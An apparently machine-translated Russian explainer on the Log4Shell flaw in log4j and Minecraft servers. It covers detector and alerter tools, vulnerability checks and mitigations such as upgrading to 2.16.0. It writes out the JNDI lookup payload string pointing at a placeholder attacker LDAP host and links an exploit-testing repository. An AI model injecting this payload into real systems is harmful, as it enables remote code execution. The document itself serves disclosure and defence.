Log4Shell уязвимости угрожающая серверам и клиентам Minecraft

Отказ от ответственности

Log4Shell Zero-Day Exploit

если злоумышленнику удается зарегистрировать эту строку ${jndi:ldap://someaddresshere/param1=value1}в log4j, он каким-то образом загружает байт-код класса/java, отправленный сервером LDAP, контролируемым злоумышленником. Байт-код может использоваться для выполнения любого вредоносного кода или небольшого троллинга.

возьмите это с солью, я не эксперт по безопасности.

Log4Shell Zero-Day Exploit

если злоумышленнику удается зарегистрировать эту строку ${jndi:ldap://someaddresshere/param1=value1}в log4j, он каким-то образом загружает байт-код класса/java, отправленный сервером LDAP, контролируемым злоумышленником. Байт-код может использоваться для выполнения любого вредоносного кода или небольшого троллинга.

возьмите это с солью, я не эксперт по безопасности.

материал для тестирования

https://github.com/o7-Fire/Log4Shell.git

Исправлено

Смягченный удалением org.apache.logging.log4j.core.lookup.JndiLookupкаким-то образом не разбился

Unpatched

Примечание: 1.16.5 Minecraft Server RCE exploit

MainDetector.java

Используйте простой сокет для прослушивания порта 1389, затем закройте сокет после его подключения без внешней зависимости

Примечание: не всегда так, иногда он не удосуживается загрузить URL-адрес класса, указанный сервером LDAP
Уязвим для поиска:

Журнал:

собирается выдать ошибку, если она уязвима

MainAlerter.java

Используйте com.unboundid:unboundid-ldapsdkбиблиотеку для размещения сервера LDAP

Примечание: не означает, что он уязвим для эксплойта RCE.
Уязвим для поиска:
Журналы сервера LADP:

Журнал DNS

Оба отправителя и получателя регистрируются, что означает, что они уязвимы

Примечание: если он регистрируется, это не значит, что он уязвим для RCE
Уязвим для поиска:

Заключение

если java выполняет поиск LDAP, это не значит, что он всегда уязвим, но если загрузить путь к классу, то это так ?
не уязвим, потому что java не извлекает байт-код??, все еще уязвим для поиска LDAP:
чтобы проверить, действительно ли он уязвим для RCE, попробуйте использовать безвредные полезные нагрузки, если он работает, а затем уязвим.
если com.sun.jndi.ldap.object.trustURLCodebaseсвойство установленоtrue, то вы уязвимы, как и все остальное, злоумышленник может использовать существующий путь к классу
если вы нашли журнал жертвы и видите это:

  Caused by: java.lang.ClassNotFoundException: itzbenz.payload.ObjectPayloadSerializable
        at java.net.URLClassLoader.findClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)
        at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)

это безопасно, потому что он не будет загружать classpath, предоставленный злоумышленником ?? хотя он все еще выполняет поиск LDAP, который является большой поверхностью атаки.

примечание: (после обновления java 8 сервер minecraft, похоже, не загружает путь к классу)

Атака

После написания некоторого кода (вредоносный встроенный сервер LDAP) я смог воспроизвести атаку RCE («Удаленное выполнение кода») даже на самый простой проект.

Вот пример: простая конечная точка REST в стартовом проекте Spring Boot с единственной строкой регистрации.

Как видите, код загружает и выполняет файл классов, распечатывающего сообщение, который я загружаю с вредоносного сервера LDAP (работающего удаленно).

Я не буду делиться вредоносным кодом, он слишком прост в настройке и злоупотреблении. Есть лучшие и более простые способы проверить, уязвимо ли ваше программное обеспечение. Например, с помощью этого инструмента от Trend Micro.

Возможные риски

Риски этой уязвимости:

Потеря ВСЕХ данных
Программы-вымогатели
Бэкдоры
Ботнет
Потеря ключей / секретов AWS / Kubernetes
И этот список можно продолжать, продолжать и продолжать ...

Исправление

Вариант 1. Если вы еще этого не сделали: обновите log4j-core до версии> = 2.16.0.

Используйте версию 2.16.0 вместо 2.15.0, это решает проблему более строго.

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.16.0</version>
</dependency>

Сделайте то же самое для всех транзитивных зависимостей (!).

Вариант 2. Другой вариант - запустить JRE с помощью.

-Dlog4j2.formatMsgNoLookups=true

Но будьте ВНИМАТЕЛЬНЫ: этот флаг был реализован в log4j2, начиная с версии 2.10.0. Если у вас более старая версия, это не сработает.

Вариант 3. удалить JndiLookup.class

Также можно удалить org.apache.logging.log4j.core.lookup.JndiLookup из файлов JAR log4j. Я не рекомендую делать это, если вы хотите пойти по этому пути. Вероятно, проще просто перейти на>=2.16.0.

Не вариант:

Более новая версия Java
Свойство: com.sun.jndi.ldap.object.trustURLCodebase

Я видел в Интернете предложения, что «новые» версии Java не затронуты, но это не так. Даже с последними версиями Java и с установленным значением trustURLCodebase=false все равно можно украсть данные (например, переменные среды) и десериализовать объекты, уже известные загрузчику классов. Это упрощает запуск других десериализационных RCE.

Это может быть немного сложнее/безопаснее в более новой версии Java, но это определенно НЕ исправление.

Чтобы показать это, я взял последнюю версию Java 8 (1.8.311) и использую десериализацию log4j2 для создания чего-то, что открывает калькулятор на моем MacBook с использованием других классов, известных уязвимой цели:

Опять же: загружаемый объект все еще десериализуется в последней версии Java.